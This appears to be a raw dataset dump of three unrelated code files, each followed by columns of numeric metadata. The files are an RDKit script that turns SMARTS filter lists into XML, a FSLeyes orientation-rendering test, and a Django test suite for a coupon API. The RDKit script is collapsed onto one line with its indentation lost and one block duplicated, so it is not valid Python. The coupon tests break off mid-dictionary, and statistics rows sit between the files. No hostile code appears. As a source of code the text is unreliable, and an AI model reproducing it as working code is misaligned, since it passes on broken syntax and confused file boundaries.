2019-02-08T00:41:46.000Z
from __future__ import print_function from xml.etree.ElementTree import Element, SubElement, tostring from xml.dom import minidom from rdkit import Chem import sys with open("hann1999filter.txt","r") as f, \ open("Hann1999.xml","w") as g: root= Element('Hann1999') for line in f : if line.startswith("#") : continue c= line.strip().split() if len(c) < 2 : continue try: smartstxt= c[-1] name= " ".join(c[:-1]) except: print(line.rstrip()) sys.exit(0) try: rdkq= Chem.MolFromSmarts(smartstxt) except: print("NOT VALID:", line.rstrip()) continue entry= SubElement (root, 'group') entry.set('name', name) node= SubElement (entry, 'SMARTS') node.text= smartstxt # write to XML coarse= tostring(root,'utf-8') g.write( minidom.parseString( coarse ).toprettyxml(indent=" ") ) with open("hann1999acid.txt","r") as f, \ open("Hann1999Acid.xml","w") as g: root= Element('Hann1999') for line in f : if line.startswith("#") : continue c= line.strip().split() if len(c) < 2 : continue try: smartstxt= c[-1] name= " ".join(c[:-1]) except: print(line.rstrip()) sys.exit(0) try: rdkq= Chem.MolFromSmarts(smartstxt) except: print("NOT VALID:", line.rstrip()) continue entry= SubElement (root, 'group') entry.set('name', name) node= SubElement (entry, 'SMARTS') node.text= smartstxt # write to XML coarse= tostring(root,'utf-8') g.write( minidom.parseString( coarse ).toprettyxml(indent=" ") ) with open("hann1999acid.txt","r") as f, \ open("Hann1999Acid.xml","w") as g: root= Element('Hann1999') for line in f : if line.startswith("#") : continue c= line.strip().split() if len(c) < 2 : continue try: smartstxt= c[-1] name= " ".join(c[:-1]) except: print(line.rstrip()) sys.exit(0) try: rdkq= Chem.MolFromSmarts(smartstxt) except: print("NOT VALID:", line.rstrip()) continue entry= SubElement (root, 'group') entry.set('name', name) node= SubElement (entry, 'SMARTS') node.text= smartstxt # write to XML coarse= tostring(root,'utf-8') g.write( minidom.parseString( coarse ).toprettyxml(indent=" ") )
27.321429
67
0.604793
294
2,295
4.704082
0.22449
0.008677
0.013015
0.015184
0.881417
0.873463
0.873463
0.873463
0.873463
0.873463
0
0.028994
0.233551
2,295
83
68
27.650602
0.757248
0.016558
0
0.909091
0
0
0.100311
0
0
0
0
0
0
1
0
false
0
0.064935
0
0.064935
0.090909
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
93e8dae9d49fac2d5b5756b206c4388c9ed2c0ad
4,705
py
Python
fsleyes/tests/test_render_orient.py
pauldmccarthy/fsleyes
453a6b91ec7763c39195814d635257e3766acf83
[ "Apache-2.0" ]
12
2018-05-05T01:36:25.000Z
2021-09-23T20:44:08.000Z
fsleyes/tests/test_render_orient.py
pauldmccarthy/fsleyes
453a6b91ec7763c39195814d635257e3766acf83
[ "Apache-2.0" ]
97
2018-05-05T02:17:23.000Z
2022-03-29T14:58:42.000Z
fsleyes/tests/test_render_orient.py
pauldmccarthy/fsleyes
453a6b91ec7763c39195814d635257e3766acf83
[ "Apache-2.0" ]
6
2017-12-09T09:02:00.000Z
2021-03-05T18:55:13.000Z
#!/usr/bin/env python # # test_render_3d.py - # # Author: Paul McCarthy <pauldmccarthy@gmail.com> # import os.path as op import pytest import nibabel as nib import fsl.data.image as fslimage from fsleyes.tests import run_cli_tests, fliporient, rotate pytestmark = pytest.mark.clitest # 3d has radio storage order cli_tests = """ {{fliporient('3d.nii.gz')}} # Should display in radiological orientation 3d.nii.gz # Should display in radiological orientation -no {{fliporient('3d.nii.gz')}} # Should display in neurological orientation -no 3d.nii.gz # Should display in neurological orientation -no -ds world {{fliporient('3d.nii.gz')}} # Should display in neurological orientation -no -ds world 3d.nii.gz # Should display in neurological orientation -ds world {{fliporient('3d.nii.gz')}} # Should display in radiological orientation -ds world 3d.nii.gz # Should display in radiological orientation {{fliporient('3d.nii.gz')}} -cm red 3d.nii.gz -cm blue -a 75 # Should display in radiological orientation -ds world {{fliporient('3d.nii.gz')}} -cm red 3d.nii.gz -cm blue -a 75 # Should display in radiological orientation -ds {{fliporient('3d.nii.gz')}} {{fliporient('3d.nii.gz')}} -cm red 3d.nii.gz -cm blue -a 75 # Should display in radiological orientation -ds 3d.nii.gz {{fliporient('3d.nii.gz')}} -cm red 3d.nii.gz -cm blue -a 75 # Should display in radiological orientation -no {{fliporient('3d.nii.gz')}} -cm red 3d.nii.gz -cm blue -a 75 # Should display in neurological orientation -no -ds world {{fliporient('3d.nii.gz')}} -cm red 3d.nii.gz -cm blue -a 75 # Should display in neurological orientation -no -ds {{fliporient('3d.nii.gz')}} {{fliporient('3d.nii.gz')}} -cm red 3d.nii.gz -cm blue -a 75 # Should display in neurological orientation -no -ds 3d.nii.gz {{fliporient('3d.nii.gz')}} -cm red 3d.nii.gz -cm blue -a 75 # Should display in neurological orientation -xz 1500 -yz 1500 -zz 1500 {{fliporient('dti/dti_V1.nii.gz')}} -ot linevector dti/dti_V1.nii.gz -ot linevector # Should display in radiological orientation -xz 1500 -yz 1500 -zz 1500 -ds world {{fliporient('dti/dti_V1.nii.gz')}} -ot linevector dti/dti_V1.nii.gz -ot linevector # Should display in radiological orientation -xz 1500 -yz 1500 -zz 1500 -ds {{fliporient('dti/dti_V1.nii.gz')}} {{fliporient('dti/dti_V1.nii.gz')}} -ot linevector dti/dti_V1.nii.gz -ot linevector # Should display in radiological orientation -xz 1500 -yz 1500 -zz 1500 -ds dti/dti_V1.nii.gz {{fliporient('dti/dti_V1.nii.gz')}} -ot linevector dti/dti_V1.nii.gz -ot linevector # Should display in radiological orientation -xz 1500 -yz 1500 -zz 1500 -no {{fliporient('dti/dti_V1.nii.gz')}} -ot linevector dti/dti_V1.nii.gz -ot linevector # Should display in neurological orientation -xz 1500 -yz 1500 -zz 1500 -no -ds world {{fliporient('dti/dti_V1.nii.gz')}} -ot linevector dti/dti_V1.nii.gz -ot linevector # Should display in neurological orientation -xz 1500 -yz 1500 -zz 1500 -no -ds {{fliporient('dti/dti_V1.nii.gz')}} {{fliporient('dti/dti_V1.nii.gz')}} -ot linevector dti/dti_V1.nii.gz -ot linevector # Should display in neurological orientation -xz 1500 -yz 1500 -zz 1500 -no -ds dti/dti_V1.nii.gz {{fliporient('dti/dti_V1.nii.gz')}} -ot linevector dti/dti_V1.nii.gz -ot linevector # Should display in neurological orientation {{sqformcodes('3d.nii.gz', 4, 0)}} # Labels should be displayed {{sqformcodes('3d.nii.gz', 0, 4)}} # Labels should be displayed {{sqformcodes('3d.nii.gz', 0, 0)}} # Labels should be unknown {{rotate('3d.nii.gz', 30, 30, 30)}} # Labels should be correct! -ds world {{rotate('3d.nii.gz', 30, 30, 30)}} # Labels should be correct! """ def sqformcodes(infile, sform, qform): basename = fslimage.removeExt(op.basename(infile)) outfile = '{}_sqformcodes_{}_{}.nii.gz'.format(basename, sform, qform) img = nib.load(infile) xform = img.affine img.set_sform(xform, sform) img.set_qform(xform, qform) img.update_header() nib.save(img, outfile) return outfile def test_render_orient(): extras = { 'fliporient' : fliporient, 'rotate' : rotate, 'sqformcodes' : sqformcodes } run_cli_tests('test_render_orient', cli_tests, extras=extras)
57.378049
199
0.640383
663
4,705
4.487179
0.138763
0.090756
0.077647
0.07395
0.778487
0.778487
0.778487
0.778487
0.742857
0.675294
0
0.05119
0.231881
4,705
81
200
58.08642
0.771998
0.024442
0
0
0
0.333333
0.840061
0.190923
0
0
0
0
0
1
0.037037
false
0
0.092593
0
0.148148
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
9e071cf2b78b2adfe74bbf0b822d46477f2204b1
46,057
py
Python
store/tests/tests_viewset_Coupon.py
Jerome-Celle/Blitz-API
7dfb7b837ed47b11afcfaa5f5aee831c1aa4e5e0
[ "MIT" ]
null
null
null
store/tests/tests_viewset_Coupon.py
Jerome-Celle/Blitz-API
7dfb7b837ed47b11afcfaa5f5aee831c1aa4e5e0
[ "MIT" ]
null
null
null
store/tests/tests_viewset_Coupon.py
Jerome-Celle/Blitz-API
7dfb7b837ed47b11afcfaa5f5aee831c1aa4e5e0
[ "MIT" ]
null
null
null
import json import pytz from datetime import datetime, timedelta from rest_framework import status from rest_framework.test import APIClient, APITestCase from unittest import mock from django.conf import settings from django.core import mail from django.utils import timezone from django.urls import reverse from django.contrib.auth import get_user_model from django.contrib.contenttypes.models import ContentType from blitz_api.factories import UserFactory, AdminFactory from blitz_api.models import AcademicLevel from blitz_api.services import remove_translation_fields from workplace.models import TimeSlot, Period, Workplace from retirement.models import Retirement from ..models import Package, Order, OrderLine, Membership, Coupon User = get_user_model() LOCAL_TIMEZONE = pytz.timezone(settings.TIME_ZONE) class CouponTests(APITestCase): @classmethod def setUpClass(cls): super(CouponTests, cls).setUpClass() cls.client = APIClient() cls.user = UserFactory() cls.admin = AdminFactory() cls.package_type = ContentType.objects.get_for_model(Package) cls.package = Package.objects.create( name="extreme_package", details="100 reservations package", available=True, price=400, reservations=100, ) cls.membership = Membership.objects.create( name="basic_membership", details="1-Year student membership", available=True, price=50, duration=timedelta(days=365), ) cls.workplace = Workplace.objects.create( name="random_workplace", details="This is a description of the workplace.", seats=40, address_line1="123 random street", postal_code="123 456", state_province="Random state", country="Random country", ) cls.period = Period.objects.create( name="random_period_active", workplace=cls.workplace, start_date=timezone.now(), end_date=timezone.now() + timedelta(weeks=4), price=3, is_active=True, ) cls.time_slot = TimeSlot.objects.create( name="morning_time_slot", period=cls.period, price=1, start_time=LOCAL_TIMEZONE.localize(datetime(2130, 1, 15, 8)), end_time=LOCAL_TIMEZONE.localize(datetime(2130, 1, 15, 12)), ) cls.retirement = Retirement.objects.create( name="mega_retirement", seats=400, details="This is a description of the mega retirement.", address_line1="123 random street", postal_code="123 456", state_province="Random state", country="Random country", price=199, start_time=LOCAL_TIMEZONE.localize(datetime(2130, 1, 15, 8)), end_time=LOCAL_TIMEZONE.localize(datetime(2130, 1, 17, 12)), min_day_refund=7, min_day_exchange=7, refund_rate=50, is_active=True, activity_language='FR', accessibility=True, has_shared_rooms=True, ) cls.coupon = Coupon.objects.create( value=13, code="ABCDEFGH", start_time="2019-01-06T15:11:05-05:00", end_time="2020-01-06T15:11:06-05:00", max_use=100, max_use_per_user=2, details="Any package for clients", owner=cls.user, ) cls.coupon2 = Coupon.objects.create( value=13, code="ABCD1234", start_time="2019-01-06T15:11:05-05:00", end_time="2020-01-06T15:11:06-05:00", max_use=100, max_use_per_user=2, details="Any package for clients", owner=cls.admin, ) cls.coupon.applicable_product_types.add(cls.package_type) cls.maxDiff = None def test_create(self): """ Ensure we can create a coupon if user has permission. """ self.client.force_authenticate(user=self.admin) data = { "applicable_product_types": [ "package" ], "value": "13.00", "start_time": "2019-01-06T15:11:05-05:00", "end_time": "2020-01-06T15:11:06-05:00", "max_use": 100, "max_use_per_user": 2, "details": "Any package for clients", "owner": "http://testserver/users/" + str(self.user.id), } response = self.client.post( reverse('coupon-list'), data, format='json', ) response_data = json.loads(response.content) del response_data['url'] del response_data['id'] content = { "applicable_product_types": [ "package" ], "value": "13.00", "percent_off": None, "code": response_data['code'], "start_time": "2019-01-06T15:11:05-05:00", "end_time": "2020-01-06T15:11:06-05:00", "max_use": 100, "max_use_per_user": 2, "details": "Any package for clients", "owner": "http://testserver/users/" + str(self.user.id), "applicable_retirements": [], "applicable_timeslots": [], "applicable_packages": [], "applicable_memberships": [], "users": [] } self.assertEqual( response.status_code, status.HTTP_201_CREATED, response.content, ) self.assertEqual( response_data, content ) def test_create_choose_code(self): """ Ensure we can create a coupon if user has permission. Ensure that the user can choose the code (regex-validated). """ self.client.force_authenticate(user=self.admin) data = { "code": "1234ABCD", "applicable_product_types": [ "package" ], "value": "13.00", "start_time": "2019-01-06T15:11:05-05:00", "end_time": "2020-01-06T15:11:06-05:00", "max_use": 100, "max_use_per_user": 2, "details": "Any package for clients", "owner": "http://testserver/users/" + str(self.user.id), } response = self.client.post( reverse('coupon-list'), data, format='json', ) response_data = json.loads(response.content) del response_data['url'] del response_data['id'] content = { "applicable_product_types": [ "package" ], "value": "13.00", "percent_off": None, "code": "1234ABCD", "start_time": "2019-01-06T15:11:05-05:00", "end_time": "2020-01-06T15:11:06-05:00", "max_use": 100, "max_use_per_user": 2, "details": "Any package for clients", "owner": "http://testserver/users/" + str(self.user.id), "applicable_retirements": [], "applicable_timeslots": [], "applicable_packages": [], "applicable_memberships": [], "users": [] } self.assertEqual( response.status_code, status.HTTP_201_CREATED, response.content, ) self.assertEqual( response_data, content ) def test_create_percentage(self): """ Ensure we can create a coupon if user has permission. """ self.client.force_authenticate(user=self.admin) data = { "applicable_product_types": [ "package" ], "percent_off": "80", "start_time": "2019-01-06T15:11:05-05:00", "end_time": "2020-01-06T15:11:06-05:00", "max_use": 100, "max_use_per_user": 2, "details": "Any package for clients", "owner": "http://testserver/users/" + str(self.user.id), } response = self.client.post( reverse('coupon-list'), data, format='json', ) response_data = json.loads(response.content) del response_data['url'] del response_data['id'] content = { "applicable_product_types": [ "package" ], "value": None, "percent_off": 80, "code": response_data['code'], "start_time": "2019-01-06T15:11:05-05:00", "end_time": "2020-01-06T15:11:06-05:00", "max_use": 100, "max_use_per_user": 2, "details": "Any package for clients", "owner": "http://testserver/users/" + str(self.user.id), "applicable_retirements": [], "applicable_timeslots": [], "applicable_packages": [], "applicable_memberships": [], "users": [] } self.assertEqual( response.status_code, status.HTTP_201_CREATED, response.content, ) self.assertEqual( response_data, content ) def test_create_percentage_and_value(self): """ Ensure we can create a coupon if user has permission. """ self.client.force_authenticate(user=self.admin) data = { "applicable_product_types": [ "package" ], "percent_off": "80", "value": "150.00", "start_time": "2019-01-06T15:11:05-05:00", "end_time": "2020-01-06T15:11:06-05:00", "max_use": 100, "max_use_per_user": 2, "details": "Any package for clients", "owner": "http://testserver/users/" + str(self.user.id), } response = self.client.post( reverse('coupon-list'), data, format='json', ) self.assertEqual( response.status_code, status.HTTP_400_BAD_REQUEST, response.content, ) content = { 'non_field_errors': [ "You can't set a discount value (value) and a discount " "percentage (percent_off) at the same time." ] } self.assertEqual( json.loads(response.content), content ) def test_create_no_percentage_or_value(self): """ Ensure we can create a coupon if user has permission. """ self.client.force_authenticate(user=self.admin) data = { "applicable_product_types": [ "package" ], "start_time": "2019-01-06T15:11:05-05:00", "end_time": "2020-01-06T15:11:06-05:00", "max_use": 100, "max_use_per_user": 2, "details": "Any package for clients", "owner": "http://testserver/users/" + str(self.user.id), } response = self.client.post( reverse('coupon-list'), data, format='json', ) self.assertEqual( response.status_code, status.HTTP_400_BAD_REQUEST, response.content, ) content = { 'non_field_errors': [ "You need to set a value discount (value) or a discount " "percentage (percent_off) for this coupon." ] } self.assertEqual( json.loads(response.content), content ) def test_notify_email_for_coupon(self): """ Ensure that an admin can notify a list of emails. """ self.client.force_authenticate(user=self.admin) data = { "email_list": [ "fake@fake.com", "whatever@whatever.com", ] } response = self.client.post( reverse( 'coupon-notify', kwargs={'pk': self.coupon.id}, ), data, format='json', ) self.assertEqual( response.status_code, status.HTTP_204_NO_CONTENT, response.content, ) self.assertEqual(len(mail.outbox), 2) def test_notify_email_for_coupon_owner(self): """ Ensure that a coupon owner can notify a list of emails. """ self.client.force_authenticate(user=self.user) data = { "email_list": [ "fake@fake.com", "whatever@whatever.com", ] } response = self.client.post( reverse( 'coupon-notify', kwargs={'pk': self.coupon.id}, ), data, format='json', ) self.assertEqual( response.status_code, status.HTTP_204_NO_CONTENT, response.content, ) self.assertEqual(len(mail.outbox), 2) def test_notify_email_for_coupon_random_user(self): """ Ensure that a random authenticated user can't notify for coupon. """ self.client.force_authenticate(user=self.user) data = { "email_list": [ "fake@fake.com", "whatever@whatever.com", ] } response = self.client.post( reverse( 'coupon-notify', kwargs={'pk': 2}, ), data, format='json', ) response_data = json.loads(response.content) content = { "detail": "Not found." } self.assertEqual( response.status_code, status.HTTP_404_NOT_FOUND, response.content, ) self.assertEqual(content, response_data) self.assertEqual(len(mail.outbox), 0) def test_notify_email_for_coupon_missing_field(self): """ Ensure that an admin can't notify a list of emails if the list is missing. """ self.client.force_authenticate(user=self.admin) data = {} response = self.client.post( reverse( 'coupon-notify', kwargs={'pk': self.coupon.id}, ), data, format='json', ) response_data = json.loads(response.content) content = { "email_list": ["This field is required."] } self.assertEqual( response.status_code, status.HTTP_400_BAD_REQUEST, response.content, ) self.assertEqual(content, response_data) self.assertEqual(len(mail.outbox), 0) def test_notify_email_for_coupon_invalid_email(self): """ Ensure that an admin can't notify a list of emails if the list contains invalid email addresses. """ self.client.force_authenticate(user=self.admin) data = { "email_list": [ "invalid", "fake@fake.com" ] } response = self.client.post( reverse( 'coupon-notify', kwargs={'pk': self.coupon.id}, ), data, format='json', ) response_data = json.loads(response.content) content = { "email_list": ["Enter a valid email address."] } self.assertEqual( response.status_code, status.HTTP_400_BAD_REQUEST, response.content, ) self.assertEqual(content, response_data) self.assertEqual(len(mail.outbox), 0) def test_notify_email_for_coupon_invalid_field(self): """ Ensure that an admin can't notify a list of emails if the email_list field is invalid. """ self.client.force_authenticate(user=self.admin) data = { "email_list": "invalid" } response = self.client.post( reverse( 'coupon-notify', kwargs={'pk': self.coupon.id}, ), data, format='json', ) response_data = json.loads(response.content) content = { "email_list": ['Expected a list of items but got type "str".'] } self.assertEqual( response.status_code, status.HTTP_400_BAD_REQUEST, response.content, ) self.assertEqual(content, response_data) self.assertEqual(len(mail.outbox), 0) def test_create_too_many(self): """ Ensure we can't create a coupon if the API can't generate an unused code. """ self.client.force_authenticate(user=self.admin) data = { "applicable_product_types": [ "package" ], "value": "13.00", "start_time": "2019-01-06T15:11:05-05:00", "end_time": "2020-01-06T15:11:06-05:00", "max_use": 100, "max_use_per_user": 2, "details": "Any package for clients", "owner": "http://testserver/users/" + str(self.user.id), } with mock.patch( 'store.serializers.random.choices', return_value="ABCDEFGH"): response = self.client.post( reverse('coupon-list'), data, format='json', ) content = { 'non_field_errors': [ "Can't generate new unique codes. Delete old coupons." ] } self.assertEqual( response.status_code, status.HTTP_400_BAD_REQUEST, response.content, ) self.assertEqual( json.loads(response.content), content ) def test_create_without_permission(self): """ Ensure we can't create a coupon if user has no permission. """ self.client.force_authenticate(user=self.user) data = { "applicable_product_types": [ "package" ], "value": "13.00", "start_time": "2019-01-06T15:11:05-05:00", "end_time": "2020-01-06T15:11:06-05:00", "max_use": 100, "max_use_per_user": 2, "details": "Any package for clients", "owner": "http://testserver/users/" + str(self.user.id), } response = self.client.post( reverse('coupon-list'), data, format='json', ) content = { 'detail': 'You do not have permission to perform this action.' } self.assertEqual(json.loads(response.content), content) self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN) def test_create_missing_field(self): """ Ensure we can't create a coupon when required field are missing. """ self.client.force_authenticate(user=self.admin) data = {} response = self.client.post( reverse('coupon-list'), data, format='json', ) content = { "start_time": [ "This field is required." ], "end_time": [ "This field is required." ], "max_use": [ "This field is required." ], "max_use_per_user": [ "This field is required." ], "owner": [ "This field is required." ] } self.assertEqual(json.loads(response.content), content) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_create_null_field(self): """ Ensure we can't create a coupon when required field are null. """ self.client.force_authenticate(user=self.admin) data = { "value": None, "percent_off": None, "start_time": None, "end_time": None, "max_use": None, "max_use_per_user": None, "owner": None, } response = self.client.post( reverse('coupon-list'), data, format='json', ) content = { "start_time": [ "This field may not be null." ], "percent_off": [ "This field may not be null." ], "value": [ "This field may not be null." ], "end_time": [ "This field may not be null." ], "max_use": [ "This field may not be null." ], "max_use_per_user": [ "This field may not be null." ], "owner": [ "This field may not be null." ] } self.assertEqual(json.loads(response.content), content) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_create_invalid_field(self): """ Ensure we can't create a coupon when required field are invalid. """ self.client.force_authenticate(user=self.admin) data = { "value": (1,), "percent_off": (1,), "start_time": (1,), "end_time": (1,), "max_use": (1,), "max_use_per_user": (1,), "owner": (1,), } response = self.client.post( reverse('coupon-list'), data, format='json', ) content = { "value": [ "A valid number is required." ], "percent_off": [ "A valid integer is required." ], "start_time": [ "Datetime has wrong format. Use one of these formats instead:" " YYYY-MM-DDThh:mm[:ss[.uuuuuu]][+HH:MM|-HH:MM|Z]." ], "end_time": [ "Datetime has wrong format. Use one of these formats instead:" " YYYY-MM-DDThh:mm[:ss[.uuuuuu]][+HH:MM|-HH:MM|Z]." ], "max_use": [ "A valid integer is required." ], "max_use_per_user": [ "A valid integer is required." ], "owner": [ 'Incorrect type. Expected URL string, received list.' ] } self.assertEqual(json.loads(response.content), content) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_create_negative_values(self): """ Ensure we can't create a coupon with negative values. """ self.client.force_authenticate(user=self.admin) data = { "applicable_product_types": [ "package" ], "value": "-13.00", "percent_off": "-13", "start_time": "2019-01-06T15:11:05-05:00", "end_time": "2020-01-06T15:11:06-05:00", "max_use": -100, "max_use_per_user": -2, "details": "Any package for fjeanneau clients", "owner": "http://testserver/users/" + str(self.user.id), } response = self.client.post( reverse('coupon-list'), data, format='json', ) content = { "value": [ "Ensure this value is greater than or equal to 0.0." ], "percent_off": [ "Ensure this value is greater than or equal to 0." ], "max_use": [ "Ensure this value is greater than or equal to 0." ], "max_use_per_user": [ "Ensure this value is greater than or equal to 0." ] } self.assertEqual(json.loads(response.content), content) self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST) def test_update(self): """ Ensure we can update a coupon. """ self.client.force_authenticate(user=self.admin) data = { "applicable_product_types": [ "package" ], "value": "13.00", "start_time": "2019-01-06T15:11:05-05:00", "end_time": "2020-01-06T15:11:06-05:00", "max_use": 1000, "max_use_per_user": 20, "details": "Any package for clients (updated max_use)", "owner": "http://testserver/users/" + str(self.user.id), } response = self.client.put( reverse( 'coupon-detail', kwargs={'pk': self.coupon.id}, ), data, format='json', ) response_data = json.loads(response.content) content = { "url": "http://testserver/coupons/" + str(self.coupon.id), "id": self.coupon.id, "applicable_product_types": [ "package" ], "value": "13.00", "percent_off": None, "code": response_data['code'], "start_time": "2019-01-06T15:11:05-05:00", "end_time": "2020-01-06T15:11:06-05:00", "max_use": 1000, "max_use_per_user": 20, "details": "Any package for clients (updated max_use)", "owner": "http://testserver/users/" + str(self.user.id), "applicable_retirements": [], "applicable_timeslots": [], "applicable_packages": [], "applicable_memberships": [], "users": [] } self.assertEqual( response_data, content ) self.assertEqual(response.status_code, status.HTTP_200_OK) def test_update_partial(self): """ Ensure we can partially update a coupon. """ self.client.force_authenticate(user=self.admin) data = { "max_use": 1000, "max_use_per_user": 20, "details": "Any package for clients (updated max_use)", } response = self.client.patch( reverse( 'coupon-detail', kwargs={'pk': self.coupon.id}, ), data, format='json', ) self.assertEqual( response.status_code, status.HTTP_200_OK, response.content, ) response_data = json.loads(response.content) content = { "url": "http://testserver/coupons/" + str(self.coupon.id), "id": self.coupon.id, "applicable_product_types": [ "package" ], "value": "13.00", "percent_off": None, "code": response_data['code'], "start_time": "2019-01-06T15:11:05-05:00", "end_time": "2020-01-06T15:11:06-05:00", "max_use": 1000, "max_use_per_user": 20, "details": "Any package for clients (updated max_use)", "owner": "http://testserver/users/" + str(self.user.id), "applicable_retirements": [], "applicable_timeslots": [], "applicable_packages": [], "applicable_memberships": [], "users": [] } self.assertEqual( response_data, content ) def test_delete_as_admin(self): """ Ensure we can delete a coupon. """ self.client.force_authenticate(user=self.admin) response = self.client.delete( reverse( 'coupon-detail', kwargs={'pk': self.coupon.id}, ), ) self.assertEqual( response.status_code, status.HTTP_204_NO_CONTENT ) def test_delete_as_user(self): """ Ensure that a user can't delete a coupon. """ self.client.force_authenticate(user=self.user) response = self.client.delete( reverse( 'coupon-detail', kwargs={'pk': self.coupon.id}, ), ) self.assertEqual( response.status_code, status.HTTP_403_FORBIDDEN ) def test_delete_inexistent(self): """ Ensure that deleting a non-existent coupon does nothing. """ self.client.force_authenticate(user=self.admin) response = self.client.delete( reverse( 'coupon-detail', kwargs={'pk': 999}, ), ) self.assertEqual( response.status_code, status.HTTP_204_NO_CONTENT ) def test_list(self): """ Ensure we can list owned coupons as an authenticated user. """ self.client.force_authenticate(user=self.user) self.coupon.applicable_retirements.set([ self.retirement, ]) self.coupon.applicable_timeslots.set([ self.time_slot, ]) self.coupon.applicable_packages.set([ self.package, ]) self.coupon.applicable_memberships.set([ self.membership, ]) response = self.client.get( reverse('coupon-list'), format='json', ) data = json.loads(response.content) content = { 'count': 1, 'next': None, 'previous': None, 'results': [{ "url": "http://testserver/coupons/" + str(self.coupon.id), "id": self.coupon.id, "applicable_product_types": [ "package" ], "value": "13.00", "percent_off": None, "code": data['results'][0]['code'], "start_time": "2019-01-06T15:11:05-05:00", "end_time": "2020-01-06T15:11:06-05:00", "max_use": 100, "max_use_per_user": 2, "details": "Any package for clients", "owner": "http://testserver/users/" + str(self.user.id), "applicable_memberships": [{ 'academic_levels': [], 'available': True, 'details': '1-Year student membership', 'duration': '365 00:00:00', 'id': self.membership.id, 'name': 'basic_membership', 'price': '50.00', 'url': 'http://testserver/memberships/' + str(self.membership.id) }], "applicable_packages": [{ 'available': True, 'details': '100 reservations package', 'exclusive_memberships': [], 'id': self.package.id, 'name': 'extreme_package', 'price': '400.00', 'reservations': 100, 'url': 'http://testserver/packages/' + str(self.package.id) }], "applicable_retirements": [{ 'accessibility': True, 'activity_language': 'FR', 'address_line1': '123 random street', 'address_line2': None, 'carpool_url': None, 'city': '', 'country': 'Random country', 'details': 'This is a description of the mega retirement.', 'email_content': None, 'end_time': '2130-01-17T12:00:00-05:00', 'exclusive_memberships': [], 'form_url': None, 'id': self.retirement.id, 'is_active': True, 'latitude': None, 'longitude': None, 'min_day_exchange': 7, 'min_day_refund': 7, 'name': 'mega_retirement', 'next_user_notified': 0, 'notification_interval': '1 00:00:00', 'pictures': [], 'place_name': '', 'places_remaining': 400, 'postal_code': '123 456', 'price': '199.00', 'refund_rate': 50, 'reservations': [], 'reservations_canceled': [], 'reserved_seats': 0, 'review_url': None, 'seats': 400, 'start_time': '2130-01-15T08:00:00-05:00', 'state_province': 'Random state', 'timezone': None, 'total_reservations': 0, 'url': f'http://testserver/retirement/retirements/' f'{self.retirement.id}', 'users': [], 'has_shared_rooms': True, }], "applicable_timeslots": [{ 'billing_price': 1.0, 'end_time': '2130-01-15T12:00:00-05:00', 'id': self.period.id, 'period': 'http://testserver/periods/' + str(self.period.id), 'places_remaining': 40, 'price': '1.00', 'reservations': [], 'reservations_canceled': [], 'start_time': '2130-01-15T08:00:00-05:00', 'url': 'http://testserver/time_slots/' + str(self.time_slot.id), 'users': [], 'workplace': { 'address_line1': '123 random street', 'address_line2': None, 'city': '', 'country': 'Random country', 'details': 'This is a description of the workplace.', 'id': self.workplace.id, 'latitude': None, 'longitude': None, 'name': 'random_workplace', 'pictures': [], 'place_name': '', 'postal_code': '123 456', 'seats': 40, 'state_province': 'Random state', 'timezone': None, 'url': f'http://testserver/workplaces/' f'{self.workplace.id}', 'volunteers': [] } }], "users": [] }] } self.assertEqual(data, content) self.assertEqual(response.status_code, status.HTTP_200_OK) self.coupon.applicable_retirements.set([]) self.coupon.applicable_timeslots.set([]) self.coupon.applicable_packages.set([]) self.coupon.applicable_memberships.set([]) def test_list_as_admin(self): """ Ensure we can list all coupons as an admin. """ self.client.force_authenticate(user=self.admin) response = self.client.get( reverse('coupon-list'), format='json', ) data = json.loads(response.content) content = { 'count': 2, 'next': None, 'previous': None, 'results': [{ "url": "http://testserver/coupons/" + str(self.coupon.id), "id": self.coupon.id, "applicable_product_types": [ "package" ], "value": "13.00", "percent_off": None, "code": data['results'][0]['code'], "start_time": "2019-01-06T15:11:05-05:00", "end_time": "2020-01-06T15:11:06-05:00", "max_use": 100, "max_use_per_user": 2, "details": "Any package for clients", "owner": "http://testserver/users/" + str(self.user.id), "applicable_retirements": [], "applicable_timeslots": [], "applicable_packages": [], "applicable_memberships": [], "users": [] }, { "url": "http://testserver/coupons/" + str(self.coupon2.id), "id": self.coupon2.id, "applicable_product_types": [], "value": "13.00", "percent_off": None, "code": data['results'][1]['code'], "start_time": "2019-01-06T15:11:05-05:00", "end_time": "2020-01-06T15:11:06-05:00", "max_use": 100, "max_use_per_user": 2, "details": "Any package for clients", "owner": "http://testserver/users/" + str(self.admin.id), "applicable_retirements": [], "applicable_timeslots": [], "applicable_packages": [], "applicable_memberships": [], "users": [] }] } self.assertEqual(data, content) self.assertEqual(response.status_code, status.HTTP_200_OK) def test_read(self): """ Ensure we can read a coupon as an authenticated user. Ensure we get a nested repr for applicable_* fields. """ self.client.force_authenticate(user=self.user) self.coupon.applicable_retirements.set([ self.retirement, ]) self.coupon.applicable_timeslots.set([ self.time_slot, ]) self.coupon.applicable_packages.set([ self.package, ]) self.coupon.applicable_memberships.set([ self.membership, ]) response = self.client.get( reverse( 'coupon-detail', kwargs={'pk': self.coupon.pk}, ), ) data = json.loads(response.content) content = { "url": "http://testserver/coupons/" + str(self.coupon.id), "id": self.coupon.id, "value": "13.00", "percent_off": None, "code": data['code'], "start_time": "2019-01-06T15:11:05-05:00", "end_time": "2020-01-06T15:11:06-05:00", "max_use": 100, "max_use_per_user": 2, "details": "Any package for clients", "owner": "http://testserver/users/" + str(self.user.id), "applicable_product_types": ['package'], "applicable_memberships": [{ 'academic_levels': [], 'available': True, 'details': '1-Year student membership', 'duration': '365 00:00:00', 'id': self.membership.id, 'name': 'basic_membership', 'price': '50.00', 'url': 'http://testserver/memberships/' + str(self.membership.id) }], "applicable_packages": [{ 'available': True, 'details': '100 reservations package', 'exclusive_memberships': [], 'id': self.package.id, 'name': 'extreme_package', 'price': '400.00', 'reservations': 100, 'url': 'http://testserver/packages/' + str(self.package.id) }], "applicable_retirements": [{ 'accessibility': True, 